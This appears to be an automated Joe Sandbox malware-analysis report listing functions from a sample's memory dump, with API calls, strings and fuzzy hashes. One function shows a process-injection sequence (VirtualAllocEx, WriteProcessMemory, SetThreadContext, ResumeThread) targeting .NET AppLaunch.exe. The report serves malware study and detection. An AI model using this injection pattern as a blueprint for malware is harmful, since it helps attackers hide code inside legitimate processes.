Function 003B2289 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 228
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

mework\v4.0.30319\AppLaunch.exe, xrefs: 003B7DAB
C:\Windows\Microsoft.NET\Fra, xrefs: 003B7D4D

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Windows\Microsoft.NET\Fra$mework\v4.0.30319\AppLaunch.exe
API String ID: 0-949134037
Opcode ID: c1d18db9065cd44c48955aef69ee7226a284d1505712316105065cd398d137cc
Instruction ID: f4ef3af6d87be325db7afefc5c1c492a38a745f52751a4cfbbd09b2dd5a92031
Opcode Fuzzy Hash: c1d18db9065cd44c48955aef69ee7226a284d1505712316105065cd398d137cc
Instruction Fuzzy Hash: F891C131D04218ABDF22CFA4DC01BEDB7B1FF95318F114259EA09BA292EB705995CF58

Uniqueness

Uniqueness Score: -1.00%

Function 003B3846 Relevance: 17.6, APIs: 11, Instructions: 1108
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 003B978F
Sleep.KERNELBASE(00000064), ref: 003B9797

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: ConsoleFreeSleep
String ID:
API String ID: 1084192268-0
Opcode ID: 07edd96e2c4eaacdd5549a07fecfdc49635970c078791a05c3c79a4b6dc79a9d
Instruction ID: a317ce78d8fcf2b2079c1c643ba03b0a4c3ac08f3ebab6dccde43a835b25b6dc
Opcode Fuzzy Hash: 07edd96e2c4eaacdd5549a07fecfdc49635970c078791a05c3c79a4b6dc79a9d
Instruction Fuzzy Hash: 4242BD1BA30D1B06E30C60398D523E6994ED7EA734F869337BF66DBAF4D75A08429184

Uniqueness

Uniqueness Score: -1.00%

Function 003B7DDA Relevance: 10.6, APIs: 7, Instructions: 84
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(000000FF,00000000,00000004,00001000,00000004), ref: 003B7DFF
GetThreadContext.KERNELBASE(?,00000000), ref: 003B7E41
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 003B7E7D
GetConsoleWindow.KERNEL32 ref: 003B7E7F
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 003B7EA6
WriteProcessMemory.KERNELBASE(?,00000000,00426000,?,00000000), ref: 003B7EDA
TerminateProcess.KERNELBASE(?,00000005), ref: 003B7EE6
WriteProcessMemory.KERNELBASE(?,?,-00426000,00000000,00000000), ref: 003B7F2A
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 003B7F5C
SetThreadContext.KERNELBASE(?,00000000), ref: 003B7F74
ResumeThread.KERNELBASE(?), ref: 003B7F90

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtual$ConsoleReadResumeTerminateWindow
String ID:
API String ID: 3147228344-0
Opcode ID: 0a013e73399f077e546432e282bb4afe8418e2ceac6eb11cf86aa25f6e62947f
Instruction ID: 56262ce8f6f9809176ad3dddc1d01b333354023b91176568d703fbcd3c5cced2
Opcode Fuzzy Hash: 0a013e73399f077e546432e282bb4afe8418e2ceac6eb11cf86aa25f6e62947f
Instruction Fuzzy Hash: 9931CE70D08218AFDF269BA0CC05BECBB71FF51348F250069EB05AA5A2EB3189559F58

Uniqueness

Uniqueness Score: -1.00%

Function 003B3BAC Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00003B39), ref: 003BB2DA

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: e9b361edac2d9c619379d3587dc075a499c1f6583cd65c0d75997b32ee067e19
Instruction ID: 14f7b64222c31e4cd0d7807ab7f7d62b7af253d0d8f4a08d48101823d308148f
Opcode Fuzzy Hash: e9b361edac2d9c619379d3587dc075a499c1f6583cd65c0d75997b32ee067e19
Instruction Fuzzy Hash: F9900270644161978E0A9F569F0D6E87624D6417593641850A34754C549FD41209DA16

Uniqueness

Uniqueness Score: -1.00%

Function 003F9522 Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,003EA128,?,003EA0B9,003EAAC1), ref: 003F952A
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 003F9562
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 003F9582

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: cf3af46a25631154df9469a9e95e115531d6a20e180c1ac866be035d6ad60977
Instruction ID: 0dc8a4e945cf81f5eed577e1211f4fa9a7eb926eeef9448fd461da7b77a97aea
Opcode Fuzzy Hash: cf3af46a25631154df9469a9e95e115531d6a20e180c1ac866be035d6ad60977
Instruction Fuzzy Hash: 8E11C4F1A0161D7F6B132B75AD89EBF396CDE863987110026FB09D5201EAB0CE4146B5

Uniqueness

Uniqueness Score: -1.00%

Function 004011D9 Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040069F: GetConsoleOutputCP.KERNEL32(05DBDDD6), ref: 00400702

WriteFile.KERNEL32(?,?,?,00000000,00000000), ref: 00401342
GetLastError.KERNEL32 ref: 0040134C

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: ee7d2e3cb7c67e6e45275c9dcb26c449f755d8e7e396ddc708a1d64f9187d29c
Instruction ID: a61ebdec40302d58c4908741c1eb3e2e1eb6aca31ab56d20c9f8882d6135861e
Opcode Fuzzy Hash: ee7d2e3cb7c67e6e45275c9dcb26c449f755d8e7e396ddc708a1d64f9187d29c
Instruction Fuzzy Hash: 3961DC71D04149AFEF15CFA8C844AEF7BB8AF05304F0441AAE814F72A2D379D905CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00400C84 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00400D20
GetLastError.KERNEL32 ref: 00400D46

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 3e934432bb3a1a7477c269093fc915bb7c9eeb68c8cbe55e8e8d790978a86711
Instruction ID: 594537718652ee9da118287b61dce75e942a8d412ab5e46b946b9108998a89e3
Opcode Fuzzy Hash: 3e934432bb3a1a7477c269093fc915bb7c9eeb68c8cbe55e8e8d790978a86711
Instruction Fuzzy Hash: 9F21B430A002189FCF19CF29DD80AD9B7B9FF49305F1441BAEA0AE7251D630ED86CB64

Uniqueness

Uniqueness Score: -1.00%

Function 003F35D9 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,003F36E6,00425430,0000000C), ref: 003F3625
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,003F36E6,00425430,0000000C), ref: 003F3637

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 5989de933cb0567663e55630a025bc2fa832974dc59e778d0fa07be487a885a8
Instruction ID: b4799a1ea52f74f41c789519838b3a224272c58eaac42827215df344ac6c1397
Opcode Fuzzy Hash: 5989de933cb0567663e55630a025bc2fa832974dc59e778d0fa07be487a885a8
Instruction Fuzzy Hash: 251103311087056ACB324A3E8CC86327A94AB4A330B3A072AD6B7C37F1C734DA86D654

Uniqueness

Uniqueness Score: -1.00%

Function 003F15EF Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?), ref: 003F1630

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 080ea8f00b118b7c3a0180289c60655020deef27039b0437e3dc01649a6e0307
Instruction ID: 8b8ca0ce3f892e2d4f4f5abdaf74354b10097f77a093df74a5ee90c953c63aba
Opcode Fuzzy Hash: 080ea8f00b118b7c3a0180289c60655020deef27039b0437e3dc01649a6e0307
Instruction Fuzzy Hash: 28F0E23564112DE7DB236F22AC01BBB7B4CEF527B0F1E8122BE04EB591CB20D80086E4

Uniqueness

Uniqueness Score: -1.00%

Function 003F3764 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?), ref: 003F3796

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 45f54b6e809cde113caf382c41e0f07942d3f94a0a8fc1ab4cdfc430955bd5fc
Instruction ID: 0c12b25571779811f0f06e17b46ae1a8fcbc37f8d97925c7442d4ba6ba2ae4b5
Opcode Fuzzy Hash: 45f54b6e809cde113caf382c41e0f07942d3f94a0a8fc1ab4cdfc430955bd5fc
Instruction Fuzzy Hash: F5E065F150522956DA233A669D017BB3B5CEB413A0F164220EF059A4A0DB61CE0891A4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 003FE0A8 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183COMMON

Download Yara Rule

APIs

GetUserDefaultLCID.KERNEL32 ref: 003FE1B4
IsValidCodePage.KERNEL32(00000000), ref: 003FE1FD
IsValidLocale.KERNEL32(?,00000001), ref: 003FE20C
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 003FE254
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 003FE273

Strings

0A, xrefs: 003FE10D

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: Locale$InfoValid$CodeDefaultPageUser
String ID: 0A
API String ID: 3475089800-2007828011
Opcode ID: baed865374c7e1f6ee06fb75c6fd2a2552137c66d163af9de0509666f2750ed4
Instruction ID: 891f12c790a46902ea024d8d3228a0c38a351066770026432ece33d4f042b743
Opcode Fuzzy Hash: baed865374c7e1f6ee06fb75c6fd2a2552137c66d163af9de0509666f2750ed4
Instruction Fuzzy Hash: D0516171A0021DABEF12DFA6DC45AFE77B9FF44700F154529EA11EB1A0E7B09A408B61

Uniqueness

Uniqueness Score: -1.00%

Function 003FD4CC Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 377COMMON

Download Yara Rule

APIs

GetACP.KERNEL32 ref: 003FD58D
IsValidCodePage.KERNEL32(00000000), ref: 003FD5B8
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,?,00000000,?), ref: 003FD799

Strings

0A, xrefs: 003FD50E
utf8, xrefs: 003FD68A

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: CodeInfoLocalePageValid
String ID: 0A$utf8
API String ID: 790303815-3296459407
Opcode ID: 805e9e518392338566eb31197124881726db5620a60976e01c99a6e8ad4e2e04
Instruction ID: 402d2ade152e6cf65eca9b090f6e3b0d9ad09e51c7ee648267535e68462cd3e1
Opcode Fuzzy Hash: 805e9e518392338566eb31197124881726db5620a60976e01c99a6e8ad4e2e04
Instruction Fuzzy Hash: 4571F77160020AAADB27BB35CC4AFBB73AAEF45704F154029FB09DF581EBB0E9408655

Uniqueness

Uniqueness Score: -1.00%

Function 003FDE5F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002), ref: 003FDEF8
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002), ref: 003FDF21
GetACP.KERNEL32 ref: 003FDF36

Strings

ACP, xrefs: 003FDE7D
OCP, xrefs: 003FDEB3

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: b081ad9b78f28398ea390405fd5158c1430d4ed58fb49d07ec76baec63bda55c
Instruction ID: 2e124d7a339c012cdcb515a7dbeecaa87d9ffe6b5b75ede852748274ec2046c0
Opcode Fuzzy Hash: b081ad9b78f28398ea390405fd5158c1430d4ed58fb49d07ec76baec63bda55c
Instruction Fuzzy Hash: 2A21B032B00209A6DB369F14CA08EB773A7AF70B64B578424EB4BCB514E732DD41C390

Uniqueness

Uniqueness Score: -1.00%

Function 003F74D1 Relevance: 6.1, APIs: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,?,00000000,?,00000000), ref: 003F756C
FindNextFileW.KERNEL32(00000000,?), ref: 003F75E7
FindClose.KERNEL32(00000000), ref: 003F7609
FindClose.KERNEL32(00000000), ref: 003F762C

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 4e863cd0d941d7a29fdace9afaa74f3b867e1e47f27b24b4d9eab40017202e93
Instruction ID: fb18c1cb9fab2fbc1a5ceace4ecfef9a6e582622c3cbf9a95a93edb0637c2891
Opcode Fuzzy Hash: 4e863cd0d941d7a29fdace9afaa74f3b867e1e47f27b24b4d9eab40017202e93
Instruction Fuzzy Hash: E641B27190462DAFDF22DF68DD889BAB3B9EB85304F1541A5F609D7180EA709E80CB64

Uniqueness

Uniqueness Score: -1.00%

Function 003BB0DD Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 003BB0E9
IsDebuggerPresent.KERNEL32 ref: 003BB1B5
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 003BB1D5
UnhandledExceptionFilter.KERNEL32(?), ref: 003BB1DF

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
